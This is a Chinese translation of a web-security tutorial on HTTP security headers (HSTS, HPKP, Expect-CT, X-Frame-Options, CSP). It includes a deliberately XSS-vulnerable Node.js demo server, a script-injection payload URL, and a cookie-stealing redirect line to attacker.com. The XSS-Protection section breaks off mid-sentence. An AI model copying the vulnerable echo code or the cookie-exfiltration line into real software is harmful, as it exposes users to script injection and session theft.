摘要：綜上所述，認為沒有提供的保護，用戶會過得更好安全研究人員并不完全反對這一決定。內容安全策略是一個額外的安全層，用于檢測并削弱某些特定類型的攻擊，包括跨站腳本和數據注入攻擊等。

這是關于web安全性系列文章的第 三 篇，其它的可點擊以下查看：

Web 應用安全性: 瀏覽器是如何工作的

Web 應用安全性: HTTP簡介

目前，瀏覽器已經實現了大量與安全相關的頭文件，使攻擊者更難利用漏洞。接下來的講解它們的使用方式、它們防止的攻擊類型以及每個頭后面的一些歷史。

想閱讀更多優質文章請猛戳GitHub博客,一年百來篇優質文章等著你！

HSTS（HTTP Strict Transport Security）國際互聯網工程組織IETF正在推行一種新的Web安全協議，HSTS 的作用是強制客戶端（如瀏覽器）使用 HTTPS 與服務器創建連接。

自 2012 年底以來，HTTPS 無處不在的支持者發現，由于 HTTP 嚴格傳輸安全性，強制客戶端總是使用 HTTP 協議的安全版本更容易：一個非常簡單的設置 Strict-Transport-Security: max-age=3600 將告訴瀏覽器 對于下一個小時（3600秒），它不應該與具有不安全協議的應用程序進行交互。

當用戶嘗試通過 HTTP 訪問由 HSTS 保護的應用程序時，瀏覽器將拒絕繼續訪問，自動將 http:// 的 URL 轉換為 https://。

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代碼在本地測試這個。你需要遵循 README 中的說明(它們通過 mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證書)，然后嘗試打開 https://localhost:7889。

在這個示例中有兩個服務器，一個 HTTPS 服務器監聽 7889，另一個 HTTP 服務器監聽端口 7888。當你訪問 HTTPS 服務器時，它總是試圖重定向到 HTTP 版本，這將正常工作，因為 HTTPS 服務器上沒有 HSTS 策略。如果在 URL 中添加 hsts=on 參數，瀏覽器將強制將重定向中的鏈接轉換為 https:// 版本。由于 7888 上的服務器只支持 http，所以最終將看到類似于這樣的頁面。

你可能想知道用戶第一次訪問你的網站時會發生什么，因為事先沒有定義 HSTS 策略：攻擊者可能會欺騙用戶訪問你網站的 http:// 版本并在那里進行攻擊，所以仍然存在問題，因為 HSTS 是對首次使用機制的信任，它試圖做的是確保，一旦你訪問過網站，瀏覽器就知道后續交互必須使用 HTTPS。

解決這個缺點的一個方法是維護一個海量的數據庫，其中包含了執行 HSTS 的網站，這是Chrome 通過 hstspreload.org 實現的。你必須首先設置安全的方案，然后訪問網站并檢查它是否符合添加到數據庫的條件。例如，我們可以在這看到 Facebook 榜上有名。

將你的的網站提交到這個列表中，就可以提前告訴瀏覽器你的網站使用 HSTS，這樣即使客戶端和服務器之間的第一次交互也將通過一個安全通道進行。但是這是有代價的，因為你確實需要投入到 HSTS 中。如果你希望你的網站從列表中刪除，這對瀏覽器廠商來說不是件容易的事:

請注意，預加載列表中的內容無法輕松撤消。
域名可以被移除，但是 Chrome 的更新需要幾個月的時間才能讓用戶看到變化，我們不能保證其他瀏覽器也一樣。不要請求包含，除非您確定能夠長期支持整個站點及其所有子域的HTTPS。

這是因為供應商不能保證所有用戶都使用最新版本的瀏覽器，而你的站點已從列表中刪除。仔細考慮，并根據你對 HSTS 的信心程度和長期支持 HSTS 的能力做出決定。

HTTP 公鑰固定是一種安全機制，它的工作原理是通過響應頭或者 標簽告訴瀏覽器當前網站的證書指紋，以及過期時間等其它信息。未來一段時間內，瀏覽器再次訪問這個網站必須驗證證書鏈中的證書指紋，如果跟之前指定的值不匹配，即便證書本身是合法的，也必須斷開連接。

目前 Firefox 35+ 和 Chrome 38+ 已經支持， HPKP 基本格式如下：

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

各字段含義如下：

pin-sha256 即證書指紋，允許出現多次（實際上最少應該指定兩個）；

max-age 和 includeSubdomains 分別是過期時間和是否包含子域，它們在 HSTS（HTTP Strict Transport Security）中也有，格式和含義一致；

report-uri用來指定驗證失敗時的上報地址，格式和含義跟 CSP（Content Security Policy）中的同名字段一致；

includeSubdomains 和 report-uri 兩個參數均為可選；

報頭使用證書的散列列出服務器將使用哪些證書(在本例中是其中的兩個證書)，并包含附加信息，比如這個指令的生存時間(max-age=3600)和其他一些細節。遺憾的是，我們沒有必要深入了解我們可以用公鑰釘固定做什么，因為這個功能已經被 Chrome 棄用了——這是一個信號，這一信號表明它的采用很快就會直線下降。

Chrome 的決定并不是不理性的，而僅僅是與公鑰固定相關的風險的結果。如果wq丟失了證書，或者只是在測試時犯了一個錯誤，你的網站將無法訪問之前訪問過該網站的用戶(在max-age指令期間，通常是幾周或幾個月)。

由于這些潛在的災難性后果，HPKP 的使用率一直非常低，并且出現了由于錯誤配置導致大型網站無法訪問的事件。綜上所述，Chrome 認為沒有 HPKP提 供的保護，用戶會過得更好——安全研究人員并不完全反對這一決定。

雖然 HPKP 已經被棄用，但是一個新的頭介入進來，防止欺騙 SSL 證書被提供給客戶端:Expect-CT。

Expect-CT 頭允許站點選擇性報告和/或執行證書透明度 (Certificate Transparency) 要求，來防止錯誤簽發的網站證書的使用不被察覺。當站點啟用 Expect-CT 頭，就是在請求瀏覽器檢查該網站的任何證書是否出現在公共證書透明度日志之中。

CT 基本格式如下：

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age：

該指令指定接收到 Expect-CT 頭后的秒數，在此期間用戶代理應將收到消息的主機視為已知的 Expect-CT 主機。

如果緩存接收到的值大于它可以表示的值，或者如果其隨后計算溢出，則緩存將認為該值為2147483648（2的31次冪）或其可以方便表示的最大正整數。

report-uri="" 可選

該指令指定用戶代理應向其報告 Expect-CT 失效的 URI。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為“強制執行和報告”配置，示意用戶代理既應該強制遵守證書透明度政策，也應當報告違規行為。

enforce 可選

該指令示意用戶代理應強制遵守證書透明度政策（而不是只報告合規性），并且用戶代理應拒絕違反證書透明度政策的之后連接。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為“強制執行和報告”配置，示意用戶代理既應該強制遵守證書透明度政策，也應當報告違規行為。

CT 計劃的目標是比以前使用的任何其他方法更早、更快、更精確地檢測錯誤頒發的或惡意的證書(以及流氓證書頒發機構)。

通過選擇使用 Expect-CT 頭，你可以利用這一優勢來改進應用程序的安全狀態。

想象一下，在你的屏幕前彈出這樣一個網頁:

只要你點擊這個鏈接，你就會發現你銀行賬戶里的錢都不見了，發生了什么事?

你是點擊劫持攻擊的受害者。

攻擊者將你引導至他們的網站，該網站顯示了一個非常有吸引力的點擊鏈接。 不幸的是，他還在頁面中嵌入了帶了鏈接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe，且通過設置透明度為 0％來隱藏它。

然后發生的事情是想到點擊原始頁面，試圖贏得一個全新的悍馬，這時瀏覽器上iframe上捕獲了一個點擊，這是一個確認轉移資金的危險點擊。

大多數銀行系統要求你指定一次性 PIN 碼來確認交易，但你的銀行沒有趕上時間且你的所有資金都已被轉走了。

這個例子非常極端，但應該讓你了解點擊劫持攻擊 可能帶來的后果。 用戶打算單擊特定鏈接，而瀏覽器將觸發嵌入 iframe 中“不可見”頁面上的點擊。

幸運的是，瀏覽器為這個問題提供了一個簡單的解決方案: X-Frame-Options (XFO)，它允許您人定是否可以將應用程序作為 iframe 嵌入外部網站。由于 Internet Explorer 8 的普及，XFO 于2009 年首次引入，現在仍然受到所有主流瀏覽器的支持。

它的工作原理是，當瀏覽器看到 iframe 時，加載它并在渲染它之前驗證它的 XFO 是否允許它包含在當前頁面中。

X-Frame-Options 有三個值:

DENY：表示該頁面不允許在 frame 中展示，即便是在相同域名的頁面中嵌套也不允許。

SAMEORIGIN：表示該頁面可以在相同域名頁面的 frame 中展示。

ALLOW-FROM uri ：表示該頁面可以在指定來源的 frame 中展示。

換一句話說，如果設置為 DENY，不光在別人的網站 frame 嵌入時會無法加載，在同域名頁面中同樣會無法加載。另一方面，如果設置為 SAMEORIGIN，那么頁面就可以在同域名頁面的 frame 中嵌套。

包含最嚴格的 XFO 策略的 HTTP 響應示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...

為了展示啟用 XFO 時瀏覽器的行為，我們只需將示例的 URL 更改為 http://localhost:7888/?xfo=on。 xfo=on 參數告訴服務器在響應中包含 X-Frame-Options: deny，我們可以看到瀏覽器如何限制對 iframe 的訪問:

XFO被認為是防止基于框架的點擊劫持攻擊的最佳方法，直到數年后出現了另一種報頭，即內容安全策略(Content Security Policy，簡稱CSP)。

內容安全策略(CSP) 是一個額外的安全層，用于檢測并削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數據注入攻擊等。無論是數據盜取、網站內容污染還是散發惡意軟件，這些攻擊都是主要的手段。

為使CSP可用, 你需要配置你的網絡服務器返回 Content-Security-Policy HTTP頭部 ( 有時你會看到一些關于 X-Content-Security-Policy 頭部的提法, 那是舊版本，你無須再如此指定它)。

要了解 CSP 如何幫助我們，我們首先應該考慮攻擊媒介。 假設我們剛剛構建了自己的 Google 搜索，這是一個帶有提交按鈕的簡單輸入文本。

這個 web 應用程序沒有什么神奇的功能。只是,

顯示一個表單

讓用戶執行搜索

顯示搜索結果和用戶搜索的關鍵字

當我們執行簡單搜索時，這就是應用程序返回的內容：

我們的應用程序非常理解我們的搜索，并找到了一個相關的圖像。如果我們深入研究源代碼，可以在github.com/odino/wasec/tree/master/xss.com 上找到，我們很快就會發現應用程序存在安全問題，因為用戶搜索的任何關鍵字都直接打印在提供給客戶端的 HTML 響應中:

var qs = require("querystring")
var url = require("url")
var fs = require("fs")
require("http").createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ""
  let results = keyword ? `You searched for "${keyword}", we found:
` : `Try searching...`
res.end(fs.readFileSync(__dirname + "/index.html").toString().replace("__KEYWORD__", keyword).replace("__RESULTS__", results))
}).listen(7888)

  
    
Search The Web
    

      
      
    
    

      __RESULTS__
    
  

這帶來了一個糟糕的后果。攻擊者可以創建一個特定的鏈接，在受害者瀏覽器中執行任意JavaScript。

如果你有時間和耐心在本地運行示例，你將能夠快速了解 CSP 的強大功能。 我添加了一個啟用CSP的查詢字符串參數，因此我們可以嘗試在啟用 CSP 的情況下導航到惡意 URL：

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的，我們已經告訴瀏覽器，我們的 CSP 策略只允許腳本包含在當前 URL 的同一來源，我們可以通過展開 URL 和查看響應頭來驗證:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src "self"
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由于 XSS 攻擊是通過內聯腳本(直接嵌入到HTML內容中的腳本)進行的，所以瀏覽器友好地拒絕執行它，以保證用戶的安全。想象一下，如果攻擊者不是簡單地顯示一個警告對話框，而是通過一些JavaScript代碼將重定向到自己的域，代碼可能如下:

window.location = `attacker.com/${document.cookie}`

他們本來可以竊取所有用戶的 cookie，其中可能包含高度敏感的數據（下一篇文章中有更多內容）。

CSP的一個有趣的變化是 report-only 模式。可以不使用 Content-Security-Policy 頭文件，而是首先使用 Content-Security-Policy-Report-Only 頭文件測試 CSP 對你的網站的影響，方法是告訴瀏覽器簡單地報告錯誤，而不阻塞腳本執行，等等。

通過報告，你可以了解要推出的 CSP 策略可能導致的重大更改，并相應地進行修復。 我們甚至可以指定報告網址，瀏覽器會向我們發送報告。 以下是 report-only 策略的完整示例：

Content-Security-Policy: default-src "self"; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有點復雜，如下例所示:

Content-Security-Policy: default-src "self"; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定義了以下規則:

可執行腳本（例如JavaScript）只能從 scripts.example.com 加載

圖像可以從任何源(img-src: *)

視頻或音頻內容可以從兩個來源加載: medias.example.com 和 medias.legacy.example.com

正如你所看到的，策略可能會變得很長，如果我們想確保為用戶提供最高的保護，這可能會成為一個相當乏味的過程。不過，編寫全面的 CSP 策略是向 web 應用程序添加額外安全層的重要一步。

HTTP X-XSS-Protection 響應頭是Internet Explorer，Chrome和Safari的一個功能，當檢測到跨站腳本攻擊 (XSS)時，瀏覽器將停止加載頁面。雖然這些保護在現代瀏覽器中基本上是不必要的，當網站實施一個強大的 Content-Security-Policy 來禁用內聯的 JavaScript ("unsafe-inline")時, 他們仍然可以為尚不支持 CSP 的舊版瀏覽器的用戶提供保護。

它的語法和我們剛才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常見的攻擊類型，其中未經過驗證的服務器打印出未經過處理的輸入，而且這個標題真正發揮作用。 如果你想親眼看到這個，我建議你試試 github.com/odino/wasec/tree/master/xss 上的例子。

將 xss=on 附加到 URL 上，它顯示了當 XSS 保護時瀏覽器做了什么 打開了。 如果我們在搜索框中輸入惡意字符串，例如

Feature-Policy: vibrate "self"; push *; camera "none"

https://github.com/qq44924588...